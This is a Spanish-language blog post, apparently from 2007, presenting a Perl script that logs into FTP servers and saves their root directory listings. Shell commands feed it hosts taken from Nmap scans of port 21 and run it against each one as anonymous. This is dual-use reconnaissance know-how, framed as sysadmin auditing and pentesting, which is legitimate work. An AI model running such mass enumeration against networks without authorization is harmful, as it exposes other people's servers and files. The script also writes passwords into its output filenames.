			<content:encoded><![CDATA[<p><img align="left" alt="Chinche del FTP" id="image9" title="Chinche del FTP" src="http://hackarandas.com/blog/wp-content/uploads/2007/01/chinche.miniatura.jpg" />Imaginemos que eres <a target="_blank" title="Sysadmin" href="http://es.wikipedia.org/wiki/Administrador_de_sistemas">sysadmin</a> de una empresa con una red <a target="_blank" href="http://es.wikipedia.org/wiki/Dirección_IP">clase B</a>, tus becarios están en exámenes finales, te acaba de llegar una notificación de la BSA amenazándote de una auditoría de software y encima es cierre y contabilidad te tiene azorado con preguntas repetitivas de los usaurios (no, no está mal escrito).</p>
<p>Obvio no tienes el tiempo de revisar cuales son los espontáneos con servicios arriba compartiendo <a target="_blank" href="http://es.wikipedia.org/wiki/Mp3">MP3s</a>, <a target="_blank" href="http://es.wikipedia.org/wiki/Warez">warez</a> y <a target="_blank" href="http://es.wikipedia.org/wiki/Pr0n">pr0n</a> (lo peor es que no te avisan por ser el sysadmin).</p>
<p>Este pequeño script en perl te permite automatizar la búsqueda de información dentro de servidores <a target="_blank" href="http://es.wikipedia.org/wiki/FTP">FTP</a> sin tener que estar pegado al cliente.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co1">#!/usr/bin/perl -w</span><br />
<span class="co1">#</span><br />
<span class="co1"># Script hecho por Adrián Puente Z.</span><br />
<span class="co1"># Script hecho para Sm4rt Security Services</span><br />
<span class="co1"># Dudas y comentarios a:</span><br />
<span class="co1"># adrian [AT] sm4rt.com</span><br />
<span class="co1"># ch0ks [AT] hackarandas.com</span><br />
<span class="co1">#</span><br />
<span class="co1"># Este script recibe los parámetros de usuario, contraseña</span><br />
<span class="co1"># y host (IP o nombre) por línea de comando y se conecta</span><br />
<span class="co1"># al host creando un archivo con el listado del directorio</span><br />
<span class="co1"># raiz y muestra una salida con el estatus del proceso.</span></p>
<p><span class="kw2">use</span> Net::<span class="me2">FTP</span>;</p>
<p><span class="kw1">if</span> <span class="br0">&#40;</span> $<span class="co1">#ARGV != 2 )</span><br />
<span class="br0">&#123;</span><br />
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Sintáxis: ftpdirgrepable.pl [Usuario] [Password] [Host] <span class="es0">\\</span>n&quot;</span>;<br />
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw1">my</span> <span class="re0">$username</span> = &nbsp;<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;<br />
<span class="kw1">my</span> <span class="re0">$password</span> = &nbsp;<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;<br />
<span class="kw1">my</span> <span class="re0">$host</span> = &nbsp;<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;<br />
<span class="kw1">my</span> <span class="re0">$directory</span>=<span class="st0">&quot;/&quot;</span>;<br />
<span class="kw1">my</span> <span class="re0">$newerr</span> = <span class="nu0">0</span>;</p>
<p><a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a> <span class="re0">@ERRORS</span>, <span class="st0">&quot;$host<span class="es0">\\</span>t$username<span class="es0">\\</span>t$password&quot;</span>;</p>
<p><span class="re0">$ftp</span>=Net::<span class="me2">FTP</span>-&gt;<span class="me1">new</span><span class="br0">&#40;</span><span class="re0">$host</span>,Timeout=&gt;<span class="nu0">60</span><span class="br0">&#41;</span> <span class="kw1">or</span> <span class="re0">$newerr</span>=<span class="nu0">1</span>;<br />
<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a> <span class="re0">@ERRORS</span>, <span class="st0">&quot;<span class="es0">\\</span>tno_conexion&quot;</span> <span class="kw1">if</span> <span class="re0">$newerr</span>;<br />
myerr<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="kw1">if</span> <span class="re0">$newerr</span>;<br />
<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a> <span class="re0">@ERRORS</span>, <span class="st0">&quot;<span class="es0">\\</span>tsi_conexion&quot;</span>;</p>
<p><span class="re0">$ftp</span>-&gt;<span class="me1">login</span><span class="br0">&#40;</span><span class="re0">$username</span>,<span class="re0">$password</span><span class="br0">&#41;</span> <span class="kw1">or</span> <span class="re0">$newerr</span>=<span class="nu0">1</span>;<br />
<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a> <span class="re0">@ERRORS</span>, <span class="st0">&quot;<span class="es0">\\</span>tno_login&quot;</span> <span class="kw1">if</span> <span class="re0">$newerr</span>;<br />
<span class="re0">$ftp</span>-&gt;<span class="me1">quit</span> <span class="kw1">if</span> <span class="re0">$newerr</span>;<br />
myerr<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="kw1">if</span> <span class="re0">$newerr</span>;<br />
<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a> <span class="re0">@ERRORS</span>, <span class="st0">&quot;<span class="es0">\t</span>si_login&quot;</span>;</p>
<p><span class="re0">@files</span>=<span class="re0">$ftp</span>-&gt;<span class="me1">dir</span> <span class="kw1">or</span> <span class="re0">$newerr</span>=<span class="nu0">1</span>;<br />
<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a> <span class="re0">@ERRORS</span>, <span class="st0">&quot;<span class="es0">\\</span>tno_dir&quot;</span> <span class="kw1">if</span> <span class="re0">$newerr</span>;<br />
myerr<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="kw1">if</span> <span class="re0">$newerr</span>;<br />
<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a> <span class="re0">@ERRORS</span>, <span class="st0">&quot;<span class="es0">\\</span>tsi_dir&quot;</span>;</p>
<p><span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$newerr</span> != <span class="nu0">1</span> <span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
<a href="http://perldoc.perl.org/functions/open.html"><span class="kw3">open</span></a><span class="br0">&#40;</span>DAT,<span class="st0">&quot;&gt;ftpdir-&quot;</span>.<span class="re0">$username</span>.<span class="st0">&quot;:&quot;</span>.<span class="re0">$password</span>.<span class="st0">&quot;_AT_&quot;</span>.<span class="re0">$host</span>.<span class="st0">&quot;.txt&quot;</span><span class="br0">&#41;</span> || <a href="http://perldoc.perl.org/functions/die.html"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Error al abrir el archivo&quot;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">@files</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> DAT <span class="st0">&quot;$_n&quot;</span>; <span class="br0">&#125;</span><br />
<a href="http://perldoc.perl.org/functions/close.html"><span class="kw3">close</span></a><span class="br0">&#40;</span>DAT<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="re0">$ftp</span>-&gt;<span class="me1">quit</span>;<br />
myerr<span class="br0">&#40;</span><span class="br0">&#41;</span>;</p>
<p><span class="kw2">sub</span> myerr <span class="br0">&#123;</span><br />
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="re0">@ERRORS</span>;<br />
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;n&quot;</span>;<br />
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a> <span class="nu0">0</span>;<br />
<span class="br0">&#125;</span></div>
<p>Esto lo podemos integrar a una salida de <a target="_blank" href="http://es.wikipedia.org/wiki/Nmap">Nmap</a> procesada de forma que sólo nos devuelva las IPs de las máquinas.Con este comando obtenemos una lista de IPs ordenaditas y sin repetirse con un puerto 21 (ftp) abierto a partir de un scaneo Nmap con una salida tipo  gnmap.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">grep</span> -e <span class="st0">&#8216;Ports:.*21/open&#8217;</span> *.gnmap | <span class="kw2">awk</span> <span class="st0">&#8216;{print $2}&#8217;</span> | <span class="kw2">sort</span> -n | <span class="kw2">uniq</span> &gt; lst.IPs.txt</div>
<p>Y para integrar nuestro script usamos el siguiente comando:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">for</span> i <span class="kw1">in</span> `<span class="kw2">cat</span> lst.IPs.txt` ; <span class="kw1">do</span> &nbsp;ftpdirgrepable.pl anonymous algo@algo.com <span class="re0">$<span class="br0">&#123;</span>i<span class="br0">&#125;</span></span> ; <span class="kw1">done</span></div>
<p>Terminado el comando nos generará varios archivos con el contenido del servidor y el directorio raiz. Para muestra un botón:</p>
<div class="dean_ch" style="white-space: wrap;">-=:<span class="br0">&#41;</span>&gt; ftpdirgrepable.pl anonymous algo@algo.com kernel.org<br />
kernel.org &nbsp; &nbsp; &nbsp;anonymous &nbsp; &nbsp; &nbsp; algo@algo.com &nbsp; si_conexion &nbsp; &nbsp; si_login &nbsp; &nbsp; &nbsp; si_dir<br />
-=:<span class="br0">&#41;</span>&gt; <span class="kw2">cat</span> ftpdir-anonymous:algo@algo.com_AT_kernel.org.txt<br />
drwxrwx&#8212; &nbsp; &nbsp;<span class="nu0">2</span> <span class="nu0">536</span> &nbsp; &nbsp; &nbsp;<span class="nu0">528</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">4096</span> May <span class="nu0">21</span> &nbsp;<span class="nu0">2001</span> for_mirrors_only<br />
drwx&#8212;&#8212; &nbsp; &nbsp;<span class="nu0">2</span> <span class="nu0">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu0">16384</span> Oct <span class="nu0">02</span> &nbsp;<span class="nu0">2005</span> lost+found<br />
drwxrwsr-x &nbsp; &nbsp;<span class="nu0">9</span> <span class="nu0">536</span> &nbsp; &nbsp; &nbsp;<span class="nu0">536</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">4096</span> Aug <span class="nu0">21</span> <span class="nu0">23</span>:<span class="nu0">21</span> pub<br />
lrwxrwxrwx &nbsp; &nbsp;<span class="nu0">1</span> <span class="nu0">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu0">1</span> Oct <span class="nu0">03</span> &nbsp;<span class="nu0">2005</span> usr -&gt; .<br />
lrwxrwxrwx &nbsp; &nbsp;<span class="nu0">1</span> <span class="nu0">0</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">10</span> Oct <span class="nu0">03</span> &nbsp;<span class="nu0">2005</span> welcome.msg -&gt; pub/README</div>
<p>Si vemos bien podemos observar que tiene una salida que nos permite aplicar un filtro con <em>grep </em>y al estar separado por <em>tabs</em> lo podemos redirigir a un archivo <em>csv</em> y abrirlo en <em>excel</em>.</p>
<p>A mi me sirvió mucho en el último <em>pentest</em>, sólo hubo que descartar los servidores cuyo contenido tenía un directorio <em>JetDirect</em> para descartar las impresoras. Puedes descargarlo de <a target="_blank" title="c0d3" href="http://hackarandas.com/blog/c0d3/">aqui</a>.</p>
<div align="center">
<address>Adrián Puente Z.</address>
</div>
<p><a class="a2a_button_slashdot" href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Slashdot" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Tumblr" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="WordPress" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Twitter" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_linkedin" href="http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="LinkedIn" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/linkedin.png" width="16" height="16" alt="LinkedIn"/></a><a class="a2a_button_google_bookmarks" href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Facebook" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Google Reader" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Digg" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Meneame" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_technorati_favorites" href="http://www.addtoany.com/add_to/technorati_favorites?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Technorati Favorites" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/technorati.png" width="16" height="16" alt="Technorati Favorites"/></a><a class="a2a_button_stumbleupon" href="http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="StumbleUpon" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/stumbleupon.png" width="16" height="16" alt="StumbleUpon"/></a><a class="a2a_button_blogger_post" href="http://www.addtoany.com/add_to/blogger_post?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Blogger Post" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/blogger.png" width="16" height="16" alt="Blogger Post"/></a><a class="a2a_button_yahoo_bookmarks" href="http://www.addtoany.com/add_to/yahoo_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;linkname=La%20chinche%20del%20FTP." title="Yahoo Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/yahoo.png" width="16" height="16" alt="Yahoo Bookmarks"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F01%2F27%2Fla-chinche-del-ftp%2F&amp;title=La%20chinche%20del%20FTP." id="wpa2a_16"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2007/01/27/la-chinche-del-ftp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

